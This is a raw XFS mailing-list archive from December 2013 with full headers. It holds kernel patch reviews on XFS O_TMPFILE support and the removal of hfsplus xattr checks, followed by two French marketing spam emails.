zero link count. > > To support this in XFS, xfs_link() detects if this flag I_LINKABLE > is set and behaves appropriately when detected. So in this case, > its transaciton reservation takes into account the additional > overhead of removing the inode from the unlinked list. Then the > inode is removed from the unlinked list and the directory entry > is added. Finally its link count is bumped accordingly. > > Signed-off-by: Zhi Yong Wu Looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From zwu.kernel@gmail.com Mon Dec 23 19:58:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 980A329DF8 for ; Mon, 23 Dec 2013 19:58:07 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8CE99304053 for ; Mon, 23 Dec 2013 17:58:04 -0800 (PST) X-ASG-Debug-ID: 1387850282-04cbb041698f5d50001-NocioJ Received: from mail-oa0-f47.google.com (mail-oa0-f47.google.com [209.85.219.47]) by cuda.sgi.com with ESMTP id 7EC8qVhdCdD3EljL (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 23 Dec 2013 17:58:03 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.219.47 X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.47] Received: by mail-oa0-f47.google.com with SMTP id k1so6408569oag.34 for ; Mon, 23 Dec 2013 17:58:02 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.47] X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.47] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=XFlrVGm65Cy6blBxmQ/ax4t9p+MIOBLukaEsyiokUKY=; b=IEEVjn0Kj4N7fDqOg31JMcLo8h02ecD7yBPpVn/T9kcLJOUiAKErfj+ugj6h4BekQK i6UXxlOTH9xh1ps3ZPhKVmAIMPecnSluCCS9Mm2wUxoq4AZMDBTXsuWd+nh8vGHWh4Es eSLqHvFAjxUhKYl2WEZojwEs0Vl2rZF2d48kNJaTLa3Jna8a09US7esVJxiHaoRuU1s/ KMovoG2uQhz4+d8Z47fzORo1Wnww2bK8+mq19Euwno9m5cQI73q2TU9HN9KHv2vgwpun uWe3T8PPzx6x11ZcapylNhc83iji+ZpokkqhGUxqEB1R7JdEcr0AsCL++aFm6ZzSy0PN a8hw== MIME-Version: 1.0 X-Received: by 10.182.142.229 with SMTP id rz5mr20254898obb.12.1387850282710; Mon, 23 Dec 2013 17:58:02 -0800 (PST) Received: by 10.182.248.201 with HTTP; Mon, 23 Dec 2013 17:58:02 -0800 (PST) In-Reply-To: <20131224005506.GL3220@dastard> References: <1387326161-24530-1-git-send-email-zwu.kernel@gmail.com> <1387326161-24530-3-git-send-email-zwu.kernel@gmail.com> <20131224005506.GL3220@dastard> Date: Tue, 24 Dec 2013 09:58:02 +0800 Message-ID: Subject: Re: [PATCH v2 2/3] xfs: add O_TMPFILE support From: Zhi Yong Wu X-ASG-Orig-Subj: Re: [PATCH v2 2/3] xfs: add O_TMPFILE support To: Dave Chinner , Christoph Hellwig Cc: xfstests , Zhi Yong Wu Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-oa0-f47.google.com[209.85.219.47] X-Barracuda-Start-Time: 1387850283 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143345 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Dec 24, 2013 at 8:55 AM, Dave Chinner wrote: > On Wed, Dec 18, 2013 at 08:22:40AM +0800, Zhi Yong Wu wrote: >> From: Zhi Yong Wu >> >> Add two functions xfs_create_tmpfile() and xfs_vn_tmpfile() >> to support O_TMPFILE file creation. >> >> In contrast to xfs_create(), xfs_create_tmpfile() has a different >> log reservation to the regular file creation because there is no >> directory modification, and doesn't check if an entry can be added >> to the directory, but the reservation quotas is required appropriately, >> and finally its inode is added to the unlinked list. >> >> xfs_vn_tmpfile() add one O_TMPFILE method to VFS interface and directly >> invoke xfs_create_tmpfile(). > > There's minor stuff I could ask you to change, but I think this is > good enough for initial support of O_TMPFILE. > > Reviewed-by: Dave Chinner Great, thanks a lot for your amazing Chrismas gift. Dave and Christoph, Merry Chrismas! > > -- > Dave Chinner > david@fromorbit.com -- Regards, Zhi Yong Wu From slava@dubeyko.com Tue Dec 24 00:42:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A44337F3F for ; Tue, 24 Dec 2013 00:42:30 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 93A108F8033 for ; Mon, 23 Dec 2013 22:42:27 -0800 (PST) X-ASG-Debug-ID: 1387867342-04cb6c537e90cc60001-NocioJ Received: from alt-proxy11.mail.unifiedlayer.com (alt-proxy11.mail.unifiedlayer.com [74.220.211.241]) by cuda.sgi.com with SMTP id zqKLoiHjOSGBqTfz for ; Mon, 23 Dec 2013 22:42:23 -0800 (PST) X-Barracuda-Envelope-From: slava@dubeyko.com X-Barracuda-Apparent-Source-IP: 74.220.211.241 Received: (qmail 20409 invoked by uid 0); 24 Dec 2013 06:42:21 -0000 Received: from unknown (HELO host202.hostmonster.com) (74.220.215.202) by oproxy16.mail.unifiedlayer.com with SMTP; 24 Dec 2013 06:42:21 -0000 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=dubeyko.com; s=default; h=Mime-Version:Content-Transfer-Encoding:Content-Type:References:In-Reply-To:Date:Cc:To:Reply-To:From:Subject:Message-ID; bh=dph5lSV3ucZNd8udAguDFb/qonqMYqIX9WmznZyxmE4=; b=hYjn7FL5+/7YTObxZIL+1ugq/yorn4jdf29e/rMWoLBQ3cyuHD1T6axIkQmGsAmzJGvHc3NayllIoopj0V+7TBpJkKLxD92OTJTJb4Ed265AKBFOwc5CtJFuVMVPDOgW; Received: from [109.188.127.145] (port=39023 helo=[10.0.0.125]) by host202.hostmonster.com with esmtpa (Exim 4.80) (envelope-from ) id 1VvLh7-0000O8-8c; Mon, 23 Dec 2013 23:42:21 -0700 Message-ID: <1387867304.3974.21.camel@slavad-ubuntu> Subject: Re: [PATCH 21/21] hfsplus: remove can_set_xattr From: Vyacheslav Dubeyko X-ASG-Orig-Subj: Re: [PATCH 21/21] hfsplus: remove can_set_xattr Reply-To: slava@dubeyko.com To: Christoph Hellwig Cc: viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Date: Tue, 24 Dec 2013 10:41:44 +0400 In-Reply-To: <20131223143706.GA8235@infradead.org> References: <20131220131635.650823732@bombadil.infradead.org> <20131220132524.900291394@bombadil.infradead.org> <636E01BC-12FD-452B-8B1C-320B6EADAEFD@dubeyko.com> <20131222192818.GA32565@infradead.org> <1387780809.3991.21.camel@slavad-ubuntu> <20131223143706.GA8235@infradead.org> Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Identified-User: {2172:host202.hostmonster.com:dubeykoc:dubeyko.com} {sentby:smtp auth 109.188.127.145 authed with slava@dubeyko.com} X-Barracuda-Connect: alt-proxy11.mail.unifiedlayer.com[74.220.211.241] X-Barracuda-Start-Time: 1387867342 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143349 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, 2013-12-23 at 06:37 -0800, Christoph Hellwig wrote: > On Mon, Dec 23, 2013 at 10:40:09AM +0400, Vyacheslav Dubeyko wrote: > > Maybe I missed something, but I can see that this check is removed only. > > Could you point out the code in your patch that it checks and forbids > > such combination as "osx.security.*", "osx.trusted.*" and so on? > > @@ -941,6 +857,9 @@ static int hfsplus_osx_setxattr(struct dentry > *dentry, const char *name, > if (len > HFSPLUS_ATTR_MAX_STRLEN) > return -EOPNOTSUPP; > > + if (is_known_namespace(name)) > + return -EOPNOTSUPP; > + > Yes, now I've realized your approach. You are right. It's my misunderstanding. So, comments are really necessary for describing the goal of this check. Thank you for adding it in the last version of reworked patch. > > > So, if it needs to use xattr handler only for removing then it needs to > > make some refactoring of using __hfsplus_setxattr() and > > hfsplus_removexattr() or merging these two functions into one. And I > > think that merging is better idea. > > I've not done the full merge, but below is an updated patch to make > sure hfsplus uses the handlers for the remove case, and making sure > the adding/striping of the prefix for the osv handlers is more > transparent: > As far as I can judge, changing from hfsplus_removexattr() to generic_removexattr() is made correctly. > diff --git a/fs/hfsplus/dir.c b/fs/hfsplus/dir.c > index 9ee6298..bdec665 100644 > --- a/fs/hfsplus/dir.c > +++ b/fs/hfsplus/dir.c > @@ -529,7 +529,7 @@ const struct inode_operations hfsplus_dir_inode_operations = { > .setxattr = generic_setxattr, > .getxattr = generic_getxattr, > .listxattr = hfsplus_listxattr, > - .removexattr = hfsplus_removexattr, > + .removexattr = generic_removexattr, > #ifdef CONFIG_HFSPLUS_FS_POSIX_ACL > .get_acl = hfsplus_get_posix_acl, > .set_acl = hfsplus_set_posix_acl, > diff --git a/fs/hfsplus/inode.c b/fs/hfsplus/inode.c > index 2e10993..83c9166 100644 > --- a/fs/hfsplus/inode.c > +++ b/fs/hfsplus/inode.c > @@ -390,7 +390,7 @@ static const struct inode_operations hfsplus_file_inode_operations = { > .setxattr = generic_setxattr, > .getxattr = generic_getxattr, > .listxattr = hfsplus_listxattr, > - .removexattr = hfsplus_removexattr, > + .removexattr = generic_removexattr, > #ifdef CONFIG_HFSPLUS_FS_POSIX_ACL > .get_acl = hfsplus_get_posix_acl, > .set_acl = hfsplus_set_posix_acl, > diff --git a/fs/hfsplus/xattr.c b/fs/hfsplus/xattr.c > index bf88baa..c838b84 100644 > --- a/fs/hfsplus/xattr.c > +++ b/fs/hfsplus/xattr.c > @@ -11,6 +11,8 @@ > #include "xattr.h" > #include "acl.h" > > +static int hfsplus_removexattr(struct inode *inode, const char *name); > + > const struct xattr_handler *hfsplus_xattr_handlers[] = { > &hfsplus_xattr_osx_handler, > &hfsplus_xattr_user_handler, > @@ -52,82 +54,6 @@ static inline int is_known_namespace(const char *name) > return true; > } > > -static int can_set_system_xattr(struct inode *inode, const char *name, > - const void *value, size_t size) > -{ > -#ifdef CONFIG_HFSPLUS_FS_POSIX_ACL > - struct posix_acl *acl; > - int err; > - > - if (!inode_owner_or_capable(inode)) > - return -EPERM; > - > - /* > - * POSIX_ACL_XATTR_ACCESS is tied to i_mode > - */ > - if (strcmp(name, POSIX_ACL_XATTR_ACCESS) == 0) { > - acl = posix_acl_from_xattr(&init_user_ns, value, size); > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > - if (acl) { > - err = posix_acl_equiv_mode(acl, &inode->i_mode); > - posix_acl_release(acl); > - if (err < 0) > - return err; > - mark_inode_dirty(inode); > - } > - /* > - * We're changing the ACL. Get rid of the cached one > - */ > - forget_cached_acl(inode, ACL_TYPE_ACCESS); > - > - return 0; > - } else if (strcmp(name, POSIX_ACL_XATTR_DEFAULT) == 0) { > - acl = posix_acl_from_xattr(&init_user_ns, value, size); > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > - posix_acl_release(acl); > - > - /* > - * We're changing the default ACL. Get rid of the cached one > - */ > - forget_cached_acl(inode, ACL_TYPE_DEFAULT); > - > - return 0; > - } > -#endif /* CONFIG_HFSPLUS_FS_POSIX_ACL */ > - return -EOPNOTSUPP; > -} > - > -static int can_set_xattr(struct inode *inode, const char *name, > - const void *value, size_t value_len) > -{ > - if (!strncmp(name, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) > - return can_set_system_xattr(inode, name, value, value_len); > - > - if (!strncmp(name, XATTR_MAC_OSX_PREFIX, XATTR_MAC_OSX_PREFIX_LEN)) { > - /* > - * This makes sure that we aren't trying to set an > - * attribute in a different namespace by prefixing it > - * with "osx." > - */ > - if (is_known_namespace(name + XATTR_MAC_OSX_PREFIX_LEN)) > - return -EOPNOTSUPP; > - > - return 0; > - } > - > - /* > - * Don't allow setting an attribute in an unknown namespace. > - */ > - if (strncmp(name, XATTR_TRUSTED_PREFIX, XATTR_TRUSTED_PREFIX_LEN) && > - strncmp(name, XATTR_SECURITY_PREFIX, XATTR_SECURITY_PREFIX_LEN) && > - strncmp(name, XATTR_USER_PREFIX, XATTR_USER_PREFIX_LEN)) > - return -EOPNOTSUPP; > - > - return 0; > -} > - > static void hfsplus_init_header_node(struct inode *attr_file, > u32 clump_size, > char *buf, u16 node_size) > @@ -350,18 +276,8 @@ int __hfsplus_setxattr(struct inode *inode, const char *name, > HFSPLUS_IS_RSRC(inode)) > return -EOPNOTSUPP; > > - err = can_set_xattr(inode, name, value, size); > - if (err) > - return err; > - > - if (strncmp(name, XATTR_MAC_OSX_PREFIX, > - XATTR_MAC_OSX_PREFIX_LEN) == 0) > - name += XATTR_MAC_OSX_PREFIX_LEN; Removing this skipping of virtual "osx." prefix means that you save it on volume. But such action means volume corruption really. Because HFS+ volume hasn't such prefixes for xattrs in AttributesFile. Usually, special xattrs has prefix "com.apple.*" but others haven't any prefix and can be named as you want. So, I think that it is not correct modification. > - > - if (value == NULL) { > - value = ""; > - size = 0; > - } > + if (value == NULL) > + return hfsplus_removexattr(inode, name); > > err = hfs_find_init(HFSPLUS_SB(inode->i_sb)->cat_tree, &cat_fd); > if (err) { > @@ -577,18 +493,6 @@ ssize_t __hfsplus_getxattr(struct inode *inode, const char *name, > HFSPLUS_IS_RSRC(inode)) > return -EOPNOTSUPP; > > - if (strncmp(name, XATTR_MAC_OSX_PREFIX, > - XATTR_MAC_OSX_PREFIX_LEN) == 0) { > - /* skip "osx." prefix */ > - name += XATTR_MAC_OSX_PREFIX_LEN; Ditto. This skipping is made because virtual prefix was added by user or on listxattr phase. But we should use for searching on a volume the name without "osx." prefix. Otherwise, how do you get "com.apple.system.Security" xattr from volume, for example? You will search "osx.com.apple.system.Security" that doesn't exist on HFS+ volume. Thanks, Vyacheslav Dubeyko. From pam=news-zetrend.com@mlgnusa.com Tue Dec 24 04:06:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.1 required=5.0 tests=HTML_IMAGE_RATIO_04, HTML_MESSAGE,T_DKIM_INVALID,T_FRT_PROFILE1,T_FRT_PROFIT1 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 23E207F90 for ; Tue, 24 Dec 2013 04:06:15 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id C33D48F804B for ; Tue, 24 Dec 2013 02:06:11 -0800 (PST) X-ASG-Debug-ID: 1387879560-04bdf00fe21fb910002-NocioJ Received: from mail4.mlgnusa.com (mail4.mlgnusa.com [194.19.244.191]) by cuda.sgi.com with ESMTP id crmU44xlS0efcrt6 for ; Tue, 24 Dec 2013 02:06:06 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.191 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=+Bvkl1Y61fXdWfRv8pOLV/peMlo=; b=OkgpSu7WroAH3RwwDayEWE2AIpk0YaO/lE8wpNBKkMqD/31BXglEx2RztaVB+9ciMCGIDF9nmkJ1 hf1UpLyrvmPKtUcUf3/KYSuYwWvznPAXurEfE+Sk396Is0DQzYohihpvW139/vI0AAAejYAAFQFI cIdy5ks8yDmT8D6d/eo= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=Y/jD66slLHFn0xd6Jofmqop8Judat+WfR0cLP5hp+r/3DqzL1NX1Ug0RATCwIDjl9YLzRYCY9YJp FBgtUBZIsKl4yOyQzPcWhwA80cJnUvCuraNpgYObk8nj19a0X7lAEe00f4XTE7NMKI0ThGmyq++O vuuFL7uGzCeBUfderhM=; Received: by mail4.mlgnusa.com id hn5e8s1fblc5 for ; Tue, 24 Dec 2013 12:05:59 +0200 (envelope-from ) Date: Tue, 24 Dec 2013 09:46:11 +0200 To: From: 1001 Extensions Reply-To: 1001 Extensions Subject: Promos de Noel : -80% sur toutes les extensions Message-ID: <866319de9a0f28441337b28bd2022f71@mlgnusa.com> X-ASG-Orig-Subj: Promos de Noel : -80% sur toutes les extensions X-Priority: 3 X-Mailer: MailiGen Mailer - **CIDe4e7afafd09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.e4e7afaf X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.e4e7afaf X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=e4e7afaf&e=d09c0023 List-Unsubscribe: , Sender: "1001 Extensions" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_a6666b7f290c845a2f4e62f27bba9771" X-Barracuda-Connect: mail4.mlgnusa.com[194.19.244.191] X-Barracuda-Start-Time: 1387879566 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.17 X-Barracuda-Spam-Status: No, SCORE=0.17 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, HTML_IMAGE_RATIO_04, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143353 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.17 HTML_IMAGE_RATIO_04 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message --b1_a6666b7f290c845a2f4e62f27bba9771 Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: 8bit 1001Extensions : http://www.1001extensions.com/?utm_source=Newsletter&utm_medium=email&utm_content=HEADER-NEEZZ1&Network=NEEZZ&utm_campaign=NEEZZ1&tracker_id=NEEZZ1 Jusqu'à 10€ de réduction avec le code promo 1001NOEL: http://www.1001extensions.com/?utm_source=Newsletter&utm_medium=email&utm_content=HEADER-NEEZZ1&Network=NEEZZ&utm_campaign=NEEZZ1&tracker_id=NEEZZ1 EXTENSIONS À CLIPS Ajoutez de la longeur et volume à votre chevelure en quelques minutes seulement. À partir de 34,90€ DÉCOUVRIR: http://www.1001extensions.com/6-clips?utm_source=Newsletter&utm_medium=email&utm_content=CLIPS-NEEZZ1&Network=NEEZZ&utm_campaign=NEEZZ1&tracker_id=NEEZZ1 EXTENSIONS ANNEAUX Changez de coiffure durablement et sans risque pour vos cheveux. À partir de 34,90€ DÉCOUVRIR: http://www.1001extensions.com/7-anneaux?utm_source=Newsletter&utm_medium=email&utm_content=ANNEAUX-NEEZZ1&Network=NEEZZ&utm_campaign=NEEZZ1&tracker_id=NEEZZ1 EXTENSIONS KERATINE Pour un résultat professionnel qui dure jusqu'à 6 mois. À partir de 34,90€ DÉCOUVRIR: http://www.1001extensions.com/8-keratine?utm_source=Newsletter&utm_medium=email&utm_content=KERATINE-NEEZZ1&Network=NEEZZ&utm_campaign=NEEZZ1&tracker_id=NEEZZ1 TISSAGES Une technique simple et efficace réutilisable plusieurs mois pour un résultat naturel garenti. À partir de 64,90€ DÉCOUVRIR: http://www.1001extensions.com/9-tissages?utm_source=Newsletter&utm_medium=email&utm_content=TISSAGES-NEEZZ1&Network=NEEZZ&utm_campaign=NEEZZ1&tracker_id=NEEZZ1 REJOIGNEZ-NOUS : https://www.facebook.com/1001Extensions?fref=ts?utm_source=Newsletter&utm_medium=email&utm_content=FACEBOOK-NEEZZ1&Network=NEEZZ&utm_campaign=NEEZZ1&tracker_id=NEEZZ1: https://twitter.com/1001Extensions?utm_source=Newsletter&utm_medium=email&utm_content=TWITTER-NEEZZ1&Network=NEEZZ&utm_campaign=NEEZZ1&tracker_id=NEEZZ1 Tentez de gagner 1 an d'extensions gratuites en vous inscrivant à votre Grand Jeu Concours : http://www.1001extensions.com/modules/hscontestchristmas/contestchristmas.php?p=2&utm_source=Newsletter&utm_medium=email&utm_content=JEU-NEEZZ1&Network=NEEZZ&utm_campaign=NEEZZ1&tracker_id=NEEZZ1 ========================================== Ce courriel a été envoyé par 1001 Extensions à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=e4e7afaf&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=e4e7afaf&ln=fr --b1_a6666b7f290c845a2f4e62f27bba9771 Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit 1001Extensions
    1001extensions
    Jusqu'à 10€ de réduction avec le code promo 1001NOEL
    1001extensions
    1001extensions
    EXTENSIONS À CLIPS

    Ajoutez de la longeur et volume à votre chevelure en quelques minutes seulement.

    À partir de 34,90 DÉCOUVRIR
    1001extensions
    1001extensions
    EXTENSIONS ANNEAUX

    Changez de coiffure durablement et sans risque pour vos cheveux.

    À partir de 34,90 DÉCOUVRIR
    1001extensions
    1001extensions
    1001extensions
    1001extensions
    EXTENSIONS KERATINE

    Pour un résultat professionnel qui dure jusqu'à 6 mois.

    À partir de 34,90 DÉCOUVRIR
    1001extensions
    1001extensions
    TISSAGES

    Une technique simple et efficace réutilisable plusieurs mois pour un résultat naturel garenti.

    À partir de 64,90 DÉCOUVRIR
    1001extensions
    1001extensions

    REJOIGNEZ-NOUS

    1001extensions sur facebook1001extensions sur twitter

    Tentez de gagner 1 an d'extensions gratuites
    en vous inscrivant à votre
    Grand Jeu Concours

    1001extensions
    Ce courriel a été envoyé par 1001 Extensions à xfs@oss.sgi.com.
    Zetrend | 2, Place Louis Pradel, lyon, 60001, France
    Pourquoi je reçois ce mail?
    Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
    --b1_a6666b7f290c845a2f4e62f27bba9771-- From pam=news-zetrend.com@mlgnusa.com Tue Dec 24 04:06:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.1 required=5.0 tests=HTML_IMAGE_RATIO_04, HTML_MESSAGE,T_DKIM_INVALID,T_FRT_PROFILE1,T_FRT_PROFIT1 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 161BE7F8E for ; Tue, 24 Dec 2013 04:06:15 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id C3B8B8F804C for ; Tue, 24 Dec 2013 02:06:11 -0800 (PST) X-ASG-Debug-ID: 1387879560-04bdf00fe21fb910001-NocioJ Received: from mail4.mlgnusa.com (mail4.mlgnusa.com [194.19.244.191]) by cuda.sgi.com with ESMTP id MuxhLusWzuuRdaHA for ; Tue, 24 Dec 2013 02:06:01 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.191 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=nkH/B/G9AQJN7ADcgA9kwGq7Rs0=; b=b4X5iijJIKGrgHrrkR9PBxI5NkdFEP/1kU6IaNRHyNEqhTVwSYXn5G+TtxUNlrmAwgDMxWPeMsYE QX/LLDkWhuFOJQ3BtLUbkwph9pZjdn7Hd/58dVr5bGiJNE/xwh9sLxy4cnNbeOISgLbZuRWZSdde HyRxRUI9L6RaeikySCY= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=Ip02gAQOWTBzNah5aR8qQiAWYZkDIyVgcZeVsPE337W+NkPLzAWGty2vbAeJRzACCZRajDob/Z0Z xdqv8ydhlJhyt9i3gdESD8i/Lu++T+WDhSd/r239u13mP/Wcu8gNSzgETwdFno6xooeIq7WIXiaW 4aKEqvNdR+kyGmAAq8M=; Received: by mail4.mlgnusa.com id hn5e8q1fblc3 for ; Tue, 24 Dec 2013 12:05:59 +0200 (envelope-from ) Date: Tue, 24 Dec 2013 09:46:10 +0200 To: From: Coffee Box par Zetrend Reply-To: Coffee Box par Zetrend Subject: Vos capsules expresso chez vous pour 1 euro Message-ID: <058a3c1ee001508ea12c1e3c44b3e8ae@mlgnusa.com> X-ASG-Orig-Subj: Vos capsules expresso chez vous pour 1 euro X-Priority: 3 X-Mailer: MailiGen Mailer - **CID516a0c2ed09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.516a0c2e X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.516a0c2e X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=516a0c2e&e=d09c0023 List-Unsubscribe: , Sender: "Coffee Box par Zetrend" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_786acdd21b606502b40dd17b6a8105a5" X-Barracuda-Connect: mail4.mlgnusa.com[194.19.244.191] X-Barracuda-Start-Time: 1387879561 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.27 X-Barracuda-Spam-Status: No, SCORE=0.27 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_04, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143353 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.17 HTML_IMAGE_RATIO_04 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 --b1_786acdd21b606502b40dd17b6a8105a5 Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: 8bit : http://action.metaffiliation.com/trk.php?mclic=P499F155403B1316777237&urlrv=http%3A%2F%2Fnodes.da9tya523t.com%2Fr%2Fclic-60-784-4572-url-aHR0cHM6Ly93d3cuY29mZmVlLWJveC5mcg%3Ftrackaff%3D6v3&urlv=051978e6e7452eda2269c721940a0183 Découvrez vite l'offre de bienvenue Coffee Box ! En cliquant, je 